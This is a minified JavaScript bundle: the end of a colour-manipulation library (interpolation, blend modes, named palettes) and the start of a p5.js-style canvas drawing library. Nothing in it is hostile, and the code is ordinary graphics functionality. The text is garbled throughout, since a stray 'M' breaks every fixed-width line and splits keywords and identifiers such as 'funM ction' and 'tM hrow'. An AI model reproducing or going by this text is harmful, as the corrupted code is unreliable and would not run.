?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
